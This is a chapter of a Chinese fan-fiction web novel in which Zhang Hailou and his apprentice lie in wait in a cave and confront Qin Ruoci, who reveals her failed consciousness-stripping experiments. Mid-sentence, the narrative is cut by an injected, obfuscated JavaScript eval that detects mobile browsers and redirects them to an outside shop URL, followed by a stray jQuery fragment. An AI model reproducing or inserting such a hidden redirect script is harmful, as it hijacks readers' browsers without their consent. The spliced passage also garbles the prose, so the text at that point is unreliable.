文趣网 > 都市小说 > 南部档案:同心契 > 16. 守株
    张海楼从地宫里出来的时候,天边刚泛起第一缕灰白。他走到快要熄灭的篝火边蹲下来,把最后几根干柴丢进炭堆里,看着暗红色的火星从柴缝间升起来,在清晨的冷空气里明灭了一下就散了。他伸手在火上烤了烤,掌心那道从虎口延伸到小指根部的刀疤在火光里泛着暗红色的光泽。

    伤口已经愈合得差不多了,结的痂边缘开始发痒,但他没有去挠——虾仔以前跟他说过,伤口发痒是在长新肉,挠了会留疤。他当时说我又不是大姑娘,留疤怕什么,张海侠看了他一眼说,你身上的疤已经够多了。

    现在他低头看着掌心这道新疤,觉得多这一道也无所谓。反正这道疤是他自己割的,割的时候心里想的是另外一个人,这道疤就不算伤,算记号。

    他在火边坐了一会儿,等东方山脊上的云层从灰白染成淡金,然后站起来走到石阶边,用脚尖轻轻踢了踢张海斗的小腿。“起来了。今天去古战场蹲人,早点出发,占个好位置。”

    张海斗从毯子里弹起来,头发乱得跟鸟窝似的,眼睛还没完全睁开就伸手去摸腰间的短刀。“蹲谁?秦若辞?她来了吗?在哪儿?”

    “还没来。所以要去蹲。”张海楼把水壶丢给他,“洗把脸,把吃的分好。今天可能要在洞里待一整天。”

    张海斗接过水壶,迷迷糊糊地点了点头,然后忽然清醒过来——师父的语气太正常了。正常得不像一个昨晚在地宫里跟自己死而复生的搭档对坐喝茶聊到后半夜的人。他偷偷看了师父一眼,发现师父正在把短刀从腰间解下来重新调整佩戴角度,动作和平时出任务前一模一样,嘴角那个弧度也和平时一模一样,不是笑,是那种含着一枚刀片、随时准备吐出来的警觉。

    张海斗没有问。他只是在心里默默记了一笔,然后把水壶里的凉水泼在脸上,打了个激灵,彻底醒了。

    张海婵已经起来了。她叠好毯子,把背包重新整理了一遍,将昨晚晾在石阶上的绷带卷好收进背包侧袋。姜芜还在睡——他的血脉印记自我修复进入关键阶段,需要的睡眠时间比正常人长得多,背上的符纹状淤血已经褪到几乎看不见,新生的淡粉色皮肤从伤口边缘向内蔓延的速度比前几天快了不少,大概再过几天,连手腕内侧那道最深的裂口都会完全愈合。

    “让他多睡一会儿。他跟着我们跑了几天,伤还没好透。”张海楼朝姜芜的方向扬了扬下巴,对张海婵说,“你留在这里等他醒,然后带他来古战场跟我们汇合。路上小心栈道那段。”

    张海婵点了点头,从背包里掏出一小包干茶叶放在石板上。“师父,茶。”

    张海楼低头看了看那包干茶叶,是昨天在驿站货郎那里买的新货,比他自己背包里那包碎末要完整得多,叶片卷得紧紧的,闻起来有一股极淡的清苦香。他把茶叶揣进怀里,和张海侠的日记本放在同一个暗袋里。“到了古战场泡。那边有暗河,水好。”

    他跟张海斗走出塔前广场的时候,晨光铺满信城的主街。石板地上那些蛛网般的裂纹在光里闪闪发光,像一张被人精心描绘过的河道图。城门洞里的穿堂风还是那么冷,但不再是第一次进城时那种带着腥甜味的黏腻冷风,而是普普通通的江风,带着水草和湿石头的干净气息。

    他穿过城门洞踏上江边那条铺满鹅卵石的古道,右手揣在怀里按着护身符,左手按在腰间短刀的刀柄上。张海斗跟在后面,肩上扛着食物和水壶,嘴里哼着一首码头上学来的小调,调子跑得不成样子,但他自己浑然不觉。

    走到岔路口的时候太阳已经升到了半山腰。往左是去驿站的路,大榕树的树冠从山坳里探出浓绿的轮廓,在晨光里泛着露水的光泽。往右是进山的窄道,路面从鹅卵石变成碎石,两侧的灌木越来越密,树枝从头顶交错成一条绿色的隧道。张海楼在岔路口停了一下,把护身符从衣领里掏出来,对着晨光看了看布面上那个“安”字。

    “虾仔,今天去蹲秦若辞。你跟她打过交道,她习惯什么时候出没?早上还是下午。”他问完之后等了大概几息。护身符里的波动极其轻微地加速了半拍,然后恢复到平稳绵长的频率。他能感觉到那道波动在布面下缓慢地、有节奏地跳动着,和昨天在地宫里张海侠提到秦若辞时的呼吸频率一样——是某种类似于“正在回忆”的专注状态。

    然后他的后脑勺忽然微微一沉,像是有人用手指在他后脑勺上轻轻点了一下的触感。一下。不是三下。不是暗号。只是“嗯”——张海侠在说“嗯”。

    “行,你不说我自己看。反正她三天之内一定会回来检查炼制进度,我就在洞里等她。”

    他继续往前走。栈道还是那条栈道,朽木板的呻吟声和前几天一模一样,暗河的水声从悬崖裂缝底下传上来,在岩壁之间反复弹跳。这次他走得更快了一些——不是放松了警惕,是已经记住了哪几块木板比较结实、哪几块需要绕开。

    穿过松林,古战场的谷地在午前阳光下显得格外安静。暗河在碎石滩上蜿蜒流过,水声潺潺,河两岸的石灰岩洞穴在日光里不再像掏空的眼窝,倒像是被时间打磨过的天然石龛。张海楼在谷口蹲下来检查了一遍地面——没有新的靴印,昨天他们留下的脚印还在原处,篝火灰堆也没有被翻动过的痕迹。秦若辞还没来。

    “师父,我们真要在这里等一整天?”张海斗把干粮和水壶放在一块平整的石头上,环顾四周,挠了挠头,“万一她今天不来呢。”

    “那就明天再来。明天不来,后天还来。她在那道符纹上留的是草稿,不是成品——说明她需要在现场继续修改。一个会在现场修改符纹的人,不会隔太久才回来。”张海楼走到洞穴入口处,在岩壁那道秦若辞签名的符纹旁边找了个隐蔽的位置蹲下来。这个位置正好被一块突出的钟乳石挡住,从洞口往里看完全看不到,但从他蹲着的地方能看清整个洞穴大厅的动静。他把短刀从腰间拔出来横在膝盖上,又从怀里掏出那把备用的刀片夹在指尖翻了个面,对着从洞口漏进来的日光看了看刃口的反光。

    张海斗在他旁边蹲下来,也把短刀拔出来搁在膝盖上。少年学着师父的样子扫视了一遍洞穴大厅——祭坛、铜匣子、散落在地上的杂物、甬道入口——然后压低声音问:“师父,秦若辞到底是什么人?你跟张海侠先生昨晚说了那么久,就问出她三十多岁、控制欲强、追着要反术口诀?还有呢?”

    “还有她是个很有能力的药师。”张海楼把备用刀片翻了一面,语气平淡,“秦家在南羌做药材生意做了几十年,她十几年前到南羌分号当负责人,一边做生意一边研究古羌文化和张家秘术。她帮张海侠破译过古羌文的关键术语,帮了很大的忙。后来她在背地里用交换来的资料做试验,试验失败了,想找张海侠要完整的口诀,张海侠拒绝了,中断了联系。就这么简单。”

    “就这么简单。”张海斗重复了一遍这四个字,语气里带着一种少年人特有的、对大人世界里那些弯弯绕绕的怀疑。他不太相信师父说的“就这么简单”,但他也知道师父说“就这么简单”的时候,意思通常是“剩下的部分我不想说”。他没有追问,只是低头看了看自己手里的短刀,刀刃上有一小块锈斑,是前几天在江边提水的时候沾了水没擦干留下的。他用拇指在锈斑上蹭了蹭,蹭不掉,讪讪地把刀翻了一面,假装那块锈斑不存在。

    “刀沾了水要擦干。不然锈会越锈越深,最后刀刃就废了。”张海楼没有看他的刀,只是看着洞口的方向,语气平淡。

    “哦。”张海斗从背包里翻出一块干净的布,开始擦那块锈斑。擦着擦着忽然觉得不太对——师父刚才那句话好像是对别人说的。他把刀擦干净收回鞘里,抬头看着师父的侧脸。师父还盯着洞口,嘴角弧度介于笑和不笑之间,和张海侠刻在七个石龛里的某个一模一样。

    他们在洞穴里等了将近三个时辰。太阳从穹顶裂缝漏下来的光斑从西墙移到东墙,暗河的水声在午后变得格外清晰,偶尔有几只蝙蝠从洞穴深处飞出来,在穹顶上盘旋一圈又飞回去。张海斗期间打了两次瞌睡,两次都被师父用刀柄敲醒,力道精准得刚好让他醒过来又不会疼。

    这个动作是虾仔教他的——刀柄尾部是整把刀最重的部分,用这个位置敲人能在不伤到皮肉的情况下瞬间刺激太阳穴周围的神经末梢。他以前在南洋被张海侠这样敲过无数次,每次都是他在轮值时打瞌睡。现在他用同样的手法敲张海斗,连刀柄握法和敲击角度都和当年张海侠敲他时一模一样。

    第三次敲醒张海斗之后大约半个时辰,洞口方向传来脚步声。不是一个人的脚步声——是两个人。一个走在前面,步伐轻而稳,踩在碎石上几乎没有声音,是练过某种轻身功夫或者天生体态轻盈的人;另一个跟在后面,步伐重而规律,踩在碎石上发出粗粝的沙沙声,靴底的铁掌偶尔蹭到石头会迸出极细微的火花。张海楼把刀片卷了卷,右手按住短刀刀柄,左手在张海斗肩膀上压了一下——不要动,不要出声。

    先进来的是一个女人。她大约三十出头,穿着一件深青色的长衫,袖口卷到手肘,露出两条细长结实的小臂。头发在脑后挽成一个利落的髻,用一根木簪固定,几缕碎发垂在颧骨旁边,被洞穴里的穿堂风吹得轻轻晃动。她的脸很干净,不施脂粉,眉骨和颧骨的轮廓比南羌本地山民要柔和,但那双眼睛——那双眼睛在昏暗的洞穴里扫视四周的时候,带着一种常年跟危险打交道的人特有的冷静和敏锐。

    她的目光在祭坛上停了片刻,然后移到匣子上,最后落在甬道入口——那个通向十二具影傀的方向。她的表情从头到尾没有任何变化,但张海楼注意到她在看到匣子的时候,右手不自觉地在腰间的布兜上轻轻按了一下。那个布兜不大,巴掌大小,粗布缝的,和她一身利落的打扮不太相称。布兜的边角已经磨出了毛边,系绳是后来换过的,绳结的编法不是南羌本地样式——是双股交叉结,南洋码头客商常用的打包结。和洞外篝火灰堆旁边那些干粮袋上的绳结一样。

    跟在女人后面进来的是一个年轻男人。看起来比姜芜大几岁,身量不高,但肩膀很宽,手臂上的肌肉把袖口绷得紧紧的。脸上有一道旧疤从左边眉骨一直划到颧骨下方,疤痕的宽度和深度都不像是刀伤,倒像是被某种粗糙的石头棱角划破的。他的背上背着一只藤条背篓,篓子里装着几捆用油布包好的药材和一些瓶瓶罐罐。背篓的侧面挂着一把短柄铲子,铲刃上沾着的泥土还是湿的——他刚挖过什么东西。

    这个人就是朗风。

    姜芜说过,朗风小时候跟他一起挖过蚯蚓,匣子挖出来那天他也在,他看着姜芜砸开箱盖、看到里面的旧纸,还笑他说你家的银元是纸做的。现在他长大了,脸上的疤和背上的背篓都是给秦若辞干活的印记。

    “炼制进度。”秦若辞开口了。她的声音比张海楼想象的要低,天生嗓音就偏沙哑,像被南羌的干燥山风和长年累月的药材熏蒸磨粗了声带。她的语调很平,没有任何多余的情绪波动。

    “十二具全部进入第六步,其中六具已经到第七步。和计划一致。”朗风从背篓里拿出一个油布封面的记录本翻开,用的也是双股交叉结的绳扣,“第七步之后锚点开始成型,需要用匣子里那张地图上标注的备用矿物做符纹稳定剂。我昨天去溶洞取了最后一批存货,大概够撑到三天后。”

    “够了。三天后第一批影傀出笼,先带三具去南边试炼——目标选在离信城最近的那个村子。朗月已经在那边布置好了接收点。”

    张海楼在钟乳石后面把他们的对话一字不漏地听进耳朵里。秦若辞说“试炼”——不是“试验”,是“试炼”。这个词他在本子里见过,是秦若辞自己发明的术语,用来描述影傀成型后的第一次任务派遣。本子里写的“试炼方案”有三步:第一步让影傀进入目标区域完成一个简单任务——比如移动特定物体、传递信息;第二步测试影傀在复杂环境下的自主行动能力;第三步才是实际投入批量应用。秦若辞现在说的“试炼”显然是第一步——她要把三具影傀带到南边一个村子里做初测试。

    朗风记录完毕,把本子塞回背篓,直起腰,目光在洞穴大厅里扫了一圈。他的视线扫过祭坛、匣子、散落在地上的杂物——然后停在张海斗蹲着的那块钟乳石侧面。少年刚才打瞌睡时蹭掉了一块干透的苔藓,指甲盖大小,掉在灰白色的沙砾地上,颜色和周围的地面完全不一样。朗风盯着那块苔藓碎屑看了片刻,然后偏头对秦若辞用极低的声音说了一句什么。

    秦若辞没有立刻转头,而是继续翻着记录本,翻完最后一页才合上本子,抬起头,目光越过钟乳石,落在张海楼藏身的方向。

    “出来吧。”她语气平淡,“你在这里蹲了很久。能用活苔藓盖住炸药引信味道的人,不需要藏。”

    张海楼在钟乳石后面轻轻笑了一声。那是一个极短促的、带着某种被识破之后的坦然的气声。他把短刀插回腰间,站起来,从钟乳石后面走出来,拍了拍肩上的灰。

    “秦医师。幸会。”他站在洞穴大厅中央,和秦若辞隔了大约十步的距离。右手垂在身侧,指尖离短刀刀柄不到一寸;左手揣在袖子里,拇指按着那枚短引信炸药的引信末端。他脸上带着笑,不是平时那种嬉皮笑脸,而是某种极其礼貌、极其克制、但眼睛没有在笑的笑。

    秦若辞的目光在他身上停了片刻。然后她做了一件张海楼没有预料到的事——她低头看了看他腰间那把短刀,目光在刀柄上的刻字上停了不到一秒,然后抬起头,嘴角动了一下。那个弧度是一种“原来如此”的确认。

    “你用苔藓盖住炸药引信的味道。但苔藓是湿的,引信受了潮就点不着。你不点炸药——你没打算动手。你是来问话的。”

    张海楼没有回答这个问题。他的左手依然揣在袖子里,拇指依然按着引信末端。苔藓是湿的,但引信没有受潮——因为他在引信外面裹了一层防水油布。秦若辞说他是来问话的,他确实是来问话的,但不代表他没有做第二手准备。他站在洞穴大厅中央,和她隔了十步的距离,和码头上那天跟姜芜对峙的距离一样。二十步是疏远,十步是审视,五步是信任。他对秦若辞连十五步都不打算给。

    “有几个问题想问秦医师。第一,你那本工作日志里写‘张海侠此人极度不信任外人’,他对你不信任到什么程度。”他问得很直接,语气平淡,像在审一个跟张海侠毫无关系的案子。但他接下来做的事不太像审讯——他把嘴里的刀片转了个角度,刃口朝外,舌尖抵着刀背。

    秦若辞沉默了片刻。她看着张海楼的眼神和刚才扫视洞穴时一样冷静,但她接下来回答这个问题的时候,语气里多了一层极细微的、不是专业讨论范畴内的东西。“最不信任的程度——他尽可能通过文字与我交流,每次交接资料都在不同的地点。他给我的那些理论推演,每一页都缺关键步骤。他说这是‘学术保留’,但我知道是什么原因。”

    “什么原因。”

    “他不信任的不是我的能力,是我的动机。他不需要别人替他完成研究——他自己一个人就够了。他找我只是为了节省时间,不是为了合作。他不是在寻求帮助,他是在争分夺秒。”

    她把“争分夺秒”这四个字咬得很清楚,语气客观到近乎冷酷,但她的下一句话忽然放慢了速度,“他当时的状态不像一个在研究学术问题的人。更像一个在跟时间赛跑的人——所有决策都以效率为优先,不计成本,不给自己留后路,也不给任何人接近他的机会。”

    “除了一个人。”张海楼说。

    “对。除了一个人。”秦若辞的目光在他腰间的短刀上又停了片刻,语气平淡得像在念一段病例记录,“他在合作记录里只字不提那个人的任何具体信息,但他每次交换资料的时候,用的包书纸都是同一种——南洋产的油纸,防水防潮,边角用刀裁得整整齐齐。他裁过的纸,每一道切口的角度都一样,偏差不超过半度。他裁纸是为了给别人用——给一个经常需要防水油纸的人用。你的刀片是含在嘴里的,唾液会腐蚀金属,需要用油纸包裹刀片保存备用,所以你随身携带大量防水油纸。你是那个他裁纸给你用的人。你就是他那个‘关系甚密的同门’。”

    张海楼没有说话。刀片刃口贴着舌面刮过去,他微微皱了皱眉——不是因为痛,是因为秦若辞那句“关系甚密的同门”说得太笃定了,像在念一份早就写好的药方,剂量、煎法、服用时辰全都标得清清楚楚。这个女人从张海侠裁纸的切口角度推断出了他的存在,从头到尾没有见过他一面,却已经把他的身份猜得八九不离十。她说的每一句话都像

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17834579|211383||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一把手术刀,精准、冷静、没有多余的动作。

    难怪张海侠对她的评价是“专业能力很强,控制欲强”——她的控制欲不是指情绪上的控制,而是智力上的控制。她需要通过分析掌握每个人的身份,不留下任何理解上的死角。

    “你很会观察。”他说。

    “这是我的专业。药学需要观察,破译古羌文也需要观察。张海侠也是我的观察对象之一——他把所有的情绪都压在皮下,只有提到一个人的时候他的笔锋会变。后来我在合作记录里划了一道线——‘关系甚密’四个字底下那道线是我划的,划完之后想擦掉,没擦干净。我知道他在乎那个人,但他在回避这个话题。你替他来找我,不需要问,你就是那个人。”

    她说“在乎”的时候,那个词从她沙哑的嗓音里滑出来,平稳、克制、不带任何多余的感情色彩,像一个药师在说某味药材的性味归经。但张海楼注意到她的右手又轻轻按在了那个布兜上——那个用张海侠教的双股交叉结系着的布兜,磨旧的粗布边角被她指腹摩挲得发亮。

    他忽然觉得那个布兜很碍眼。

    张海楼把左手从袖子里抽出来。拇指从引信末端移开,垂在身侧。这个动作意味着他暂时放弃了第一套方案——不需要引信了,秦若辞的观察和分析虽然锐利得像手术刀,但没有攻击性。她只是在做她最擅长的事:观察、分析、得出结论。她没有把张海楼当成敌人,而是当成了一个终于现身的未知变量。

    “问题只有一个。”张海楼看着她,“我替张海侠问的——当年你追着他要反术完整口诀,‘修正试验方向’指的是什么方向。你在试什么。”

    秦若辞沉默了很久。朗风在旁边不安地换了个站姿,背篓里的瓶罐轻轻碰撞发出细碎的响声。他显然不太习惯看到秦若辞被人问住——在他印象里秦若辞从来都是问住别人,不是被人问住。

    但秦若辞沉默不是因为被问住了,她沉默是因为她正在回忆某件让她不太愉快的事。

    “治疗。”她终于开口,声音比之前更低,“我有一个女儿。七岁那年从楼梯上摔下来,伤了头。昏迷了三天之后醒过来,身体恢复得很好,但记忆受损严重——她忘了所有人,包括我这个做母亲的。我试过所有能试的医疗手段,没有用。后来我接触到了张家的秘术体系,开始从意识置换的角度重新理解失忆症。如果叠影术能把一个人的意识从身体里剥离出来、放到别的地方暂存,那有没有可能用同样的原理把一个人丢失的记忆重新放回去。张海侠是研究这个方向最深入的人。我需要他的反术口诀来完成那个模型——不是为了害人,是为了治人。”

    洞穴里安静了很久。暗河的水声从洞穴深处传上来,在岩壁之间反复弹跳,听起来像一个人在很远很远的地方哭。

    “他拒绝了。”秦若辞说,嘴角那个弧度不像笑,更像是某种被时间磨平了愤怒之后剩下的空茫,“他拒绝的理由是,叠影术的本质不是修复,是置换,不能用于治疗。他说这个理论方向是错的,继续研究会出事故。我不信。我觉得他只是不想把完整口诀给我,所以后来我自己做试验。试验失败了。他说的是对的——我用了南羌本地的一种麻醉药材做基底,以为可以阻断意识剥离时产生的痛感,结果那个药材和叠影符纹产生了不良反应,被试的意识没有成功剥离,反而被困在了半成品影子里,出不来也回不去。现在他还在那个影子里。就是朗星。”

    张海楼没有说话。他想起了本子上那个名字——朗星,负责原材料采集。但朗星不是原材料,他是失败试验的受害者,是秦若辞为自己的错误付出的代价。也是姜芜小时候一起挖过蚯蚓的另一个孩子。

    “所以你没有继续试验。但你也没有放弃用叠影术‘救人’——你换了一个方向,从治疗失忆症变成了炼制影傀。你觉得影傀能替代缺失的人——替代你女儿记不得的那些人。”

    “不。”秦若辞的声音忽然变硬了,不是对抗的那种硬,是某种被压到极限之后终于裂了一条缝的硬,语气平淡得像在陈述一个跟自己无关的病例,“影傀不是替代品。影傀是空白。他们在被炼制的过程中会失去全部记忆,变成一张白纸——没有任何过去,也没有任何束缚。我想要的是一个能把所有复杂的东西都剥掉的手段,让一个被记忆困住的人重新拥有选择。他可以选择重新认识他的母亲,可以选择重新记住一些东西。他不会被过去的记忆束缚。”

    张海楼看着她。她在说“他”而不是“她”——不是她的女儿。不是秦若辞的女儿需要被治疗。是秦若辞自己需要被治疗。她想要抹掉的不是她女儿失去的记忆,是她自己的——她作为母亲在女儿忘了她之后无法承受的痛苦,她想用叠影术把自己变成一个空白的容器,重新去认识她的女儿,重新去记住那些她失去了的东西。

    “你说的试验失败品,朗星,我见过他在本子上的名字。他在炼制影傀的团队里负责原材料采集。他不是失败品。他还在运转。”

    “对。他还在运转。”秦若辞低下头,手指在布兜上轻轻摩挲着,“这就是叠影术最残忍的地方。剥离阶段一旦超过第七步,即使失败也能保留基本的行为能力——能走、能做事、能认路。但他没有意识,没有记忆,没有情感。他只是一具会呼吸的空壳。我每天看着他背着背篓进进出出,比我还准时。他不记得我,不记得朗风,不记得姜芜,不记得自己。他什么都没做错——错的是我。所以我需要你。”

    她抬起头,看着张海楼,眼神里没有哀求,没有悔恨,只有一种被消耗了太久之后剩下的、极其疲惫的专注,“你知道张海侠的完整反术。我需要逆转朗星身上的失败剥离。不是为了救他——他已经救不回来了,我知道。是为了确认一件事——反术逆转到底能不能让一个被叠影困住的人回到正常状态。如果可以,我就还有希望。如果不行,我就停止。”

    “你已经停止不了了。”张海楼说,“你现在手上有十二具正在炼制的影傀,三天后你还要带三具去试炼。这不是停止,是扩大。”

    秦若辞没有反驳。她只是站在那里,洞穴里的穿堂风把她的鬓发吹得轻轻晃动,手指在布兜上停住了。然后她把布兜从腰间解下来,放在祭坛上匣子旁边,后退几步。布兜在她手指离开的瞬间自动解开了绳结。双股交叉结在特定角度下受力超过一定程度就会自动滑脱,她在放布兜的时候故意让绳结压在了匣子凸起的铜边上。那个角度、那个压力、那个绳结的编法全部计算精准,一步不差。

    但她没有用这个机关来做什么攻击性的事,只是让绳结自己松开了,让布兜敞开,露出里面装的东西。是秦若辞自己的研究手稿——比那本布面本子更厚、更旧、翻得起了毛边,封面是皮质的,被南羌的干燥山风和她自己的手指摩挲得油润发亮。

    她在毫无防备的情况下把自己所有的研究手稿交出来,这是她能做到的最大程度的坦诚。

    “三天内,如果你帮我逆转朗星的失败剥离,我就把你需要的情报给你。”她说,“不止是我背后的人是谁,还包括朗风从南羌腹地挖出来的那张地图——不是我给你那份,是另一份,标注了南羌五处古羌祭坛的具体位置。这些祭坛都是张玄枢当年修建的备用基地,每一个都封存着叠影术的原始符纹。如果有一天你要把张海侠从护身符里置换回本体,这些祭坛的核心符纹能帮你缩短融合阶段的时间——不是半年,而是三个月,也许更短。我知道你需要这些。”

    张海楼沉默了几息。他在权衡。秦若辞的条件是帮她逆转朗星的失败剥离——这件事对姜芜来说在技术上是可行的,姜芜能在短时间内设计出逆转术的第一步符纹铭刻,也就能设计出针对失败剥离的逆转方案。代价是姜芜需要知道朗星现在变成了什么样——朗星是他小时候一起挖过蚯蚓的另一个同伴,和朗风一样,在瘟疫那年没死,被他以为活下来的人里只有朗风一个。现在他需要告诉姜芜:朗星也没死,但他变成了一具空壳,而且变成空壳的原因是某个不该继续的试验。

    “行。”他把刀片转回舌根下,刃口朝内,舌尖轻轻抵着刀背——这是他收刀的动作,每次决定不动手的时候就会这样,“把你的人撤出这个洞穴,十二具影傀留给我们处理,你把朗星带来。明天正午,就在这里。”